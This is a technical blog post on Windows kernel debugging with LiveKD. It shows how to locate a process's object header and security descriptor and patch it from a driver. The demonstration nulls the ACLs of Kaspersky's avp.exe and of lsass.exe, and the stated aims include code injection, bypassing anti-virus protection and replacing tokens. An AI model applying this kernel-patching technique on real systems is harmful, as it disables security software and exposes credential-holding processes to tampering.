Goal
This post shows how to NULL out ACLs of a privileged process or of a protected process and is based on the first trick described in [2] by Cesar Cerrudo.- Doing this can allow injecting code into the specific process from a less privileged process.
- Another usage would be to bypass access restrictions of an anti-virus process, as in the example below.
- Better understand kernel objects and how to access them !!
- Remove ACLs of Windows objects (processes, threads, tokens, ..)
- Replace security desciptors for Windows objects
- Terminate difficult to kill processes
- Set other privileges to a process token
- Replace a process token
Technique
Getting started with LiveKDLiveKD [3] is a tool that simulates local kernel debugging. This program creates a "snapshot" dump file of the kernel memory, without actually stopping the kernel while this snapshot is made.
We'll use it to take a peek into the kernel objects. I've downloaded livekd.exe, placed it in the Debuggers folder of WinDDK (C:\WinDDK\7600.16385.1\Debuggers) then run it from an Administrator console.
Process search
We'll quickly search for our targeted process, avp.exe in this case.
kd> !process 0 0 avp.exe PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421. Image: avp.exe
Process details
kd> !process 8552a030 1 PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421. Image: avp.exe VadRoot 855e35c8 Vads 896 Clone 0 Private 47284. Modified 54609. Locked 9. DeviceMap 89c089e8 Token a89ca9f0 ElapsedTime 00:04:32.758 UserTime 00:00:03.655 KernelTime 00:00:06.269 QuotaPoolUsage[PagedPool] 0 QuotaPoolUsage[NonPagedPool] 0 Working Set Sizes (now,min,max) (7583, 50, 345) (30332KB, 200KB, 1380KB) PeakWorkingSetSize 85004 VirtualSize 616 Mb PeakVirtualSize 781 Mb PageFaultCount 331536 MemoryPriority BACKGROUND BasePriority 8 CommitCharge 56081
Process token
We can verify the process' token as follows:
kd> dt nt!_TOKEN a89ca9f0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x6207526`b64ceb90 +0x030 TokenLock : 0x84b44090 _ERESOURCE +0x034 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY +0x074 SessionId : 0 +0x078 UserAndGroupCount : 5 +0x07c RestrictedSidCount : 0 +0x080 VariableLength : 0x70 +0x084 DynamicCharged : 0x400 +0x088 DynamicAvailable : 0 +0x08c DefaultOwnerIndex : 1 +0x090 UserAndGroups : 0xa89cabcc _SID_AND_ATTRIBUTES +0x094 RestrictedSids : (null) +0x098 PrimaryGroup : 0x91d42dc8 Void +0x09c DynamicPart : 0x91d42dc8 -> 0x101 +0x0a0 DefaultDacl : 0x91d42dd4 _ACL +0x0a4 TokenType : 1 ( TokenPrimary ) +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous ) +0x0ac TokenFlags : 0x2800 +0x0b0 TokenInUse : 0x1 '' +0x0b4 IntegrityLevelIndex : 4 +0x0b8 MandatoryPolicy : 1 +0x0bc LogonSession : 0x89c01710 _SEP_LOGON_SESSION_REFERENCES +0x0c0 OriginatingLogonSession : _LUID +0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH +0x1d8 pSecurityAttributes : 0xa68bdef0 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION +0x1dc VariablePart : 0xa89cabf4
Objects' details
Kernel objects (process, threads, tokens, ..) all have a header which contains a field called SecurityDescriptor. This contains the ACEs applied to the current object (This is greatly described in [4], Part 1).
kd> dt nt!_OBJECT_HEADER +0x000 PointerCount : Int4B +0x004 HandleCount : Int4B +0x004 NextToFree : Ptr32 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : UChar +0x00d TraceFlags : UChar +0x00e InfoMask : UChar +0x00f Flags : UChar +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : Ptr32 Void +0x014 SecurityDescriptor : Ptr32 Void +0x018 Body : _QUAD
Security Descriptors
We first get the address of the object's headers:
kd> !object 8552a030 Object: 8552a030 Type: (84a38978) Process ObjectHeader: 8552a018 (new version) HandleCount: 8 PointerCount: 1008
Then view the header's structure:
kd> dt nt!_OBJECT_HEADER 8552a018 +0x000 PointerCount : 0n1008 +0x004 HandleCount : 0n8 +0x004 NextToFree : 0x00000008 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0x7 '' +0x00d TraceFlags : 0 '' +0x00e InfoMask : 0x8 '' +0x00f Flags : 0 '' +0x010 ObjectCreateInfo : 0x82949480 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x82949480 Void +0x014 SecurityDescriptor : 0x89c05eee Void +0x018 Body : _QUAD
To manually view the security ACEs, we display the structure after zero-ing the last 3 bits ("The security descriptor pointer in the object header uses some of the low-order bits as flags, and these must be zeroed before following the pointer" [4]):
kd> !sd 0x89c05eee & -8 1 ->Revision: 0x1 ->Sbz1 : 0x0 ->Control : 0x8814 SE_DACL_PRESENT SE_SACL_PRESENT SE_SACL_AUTO_INHERITED SE_SELF_RELATIVE ->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators) ->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) ->Dacl : ->Dacl : ->AclRevision: 0x2 ->Dacl : ->Sbz1 : 0x0 ->Dacl : ->AclSize : 0x3c ->Dacl : ->AceCount : 0x2 ->Dacl : ->Sbz2 : 0x0 ->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[0]: ->AceFlags: 0x0 ->Dacl : ->Ace[0]: ->AceSize: 0x14 ->Dacl : ->Ace[0]: ->Mask : 0x001fffff ->Dacl : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) ->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[1]: ->AceFlags: 0x0 ->Dacl : ->Ace[1]: ->AceSize: 0x18 ->Dacl : ->Ace[1]: ->Mask : 0x00121411 ->Dacl : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators) ->Sacl : ->Sacl : ->AclRevision: 0x2 ->Sacl : ->Sbz1 : 0x0 ->Sacl : ->AclSize : 0x1c ->Sacl : ->AceCount : 0x1 ->Sacl : ->Sbz2 : 0x0 ->Sacl : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE ->Sacl : ->Ace[0]: ->AceFlags: 0x0 ->Sacl : ->Ace[0]: ->AceSize: 0x14 ->Sacl : ->Ace[0]: ->Mask : 0x00000003 ->Sacl : ->Ace[0]: ->SID: S-1-16-16384 Unrecognized SID
The 1 at the end tries to interpret the information in a more readable way (e.g. show users/groups corresponding to SIDs). Also, to zero out we AND with 8 (1000 in binary).
Code
I'll use this technique as an example to change/remove the ACLs for a process. If we look at the OBJECT_HEADER structure, we see that the offset of the security descriptor is +0x014, while the object body starts at +0x018. This means that after we find the EPROCESS object's address, we decrement it by 4 to reach the security descriptor.To exemplify this, I've used some code from an old project (Hide processes through DKOM). The code deals with finding all EPROCESS structures and getting information from them. To test the driver, I've used a wrapper application that registers and starts a service, communicates with the driver, unregisters it and deletes the service. Code here.
With a couple of modified lines, we can zero out the security descriptor, or even assign the address of a security descriptor corresponding to another process:
int new_acl = 0x9cfa4f39; // address of other descriptor structure or 0 memmove((char*)pNextProcess - 4, &new_acl, 4);
Demo
1. KasperskyInitially, Kaspersky doesn't allow viewing it's permissions:
Access denied to permissions |
Access to change permissions |
If we try this technique on another important process, lsass.exe, we get the following:
Security warning: no permissions assigned. |
2. Play around other processes
We can play with this technique in other ways, like for example we can take the address of the permissions of calc.exe (using LiveKD) and assign them to lsass.exe.
We can use this to change permissions for tokens, threads and other types of objects.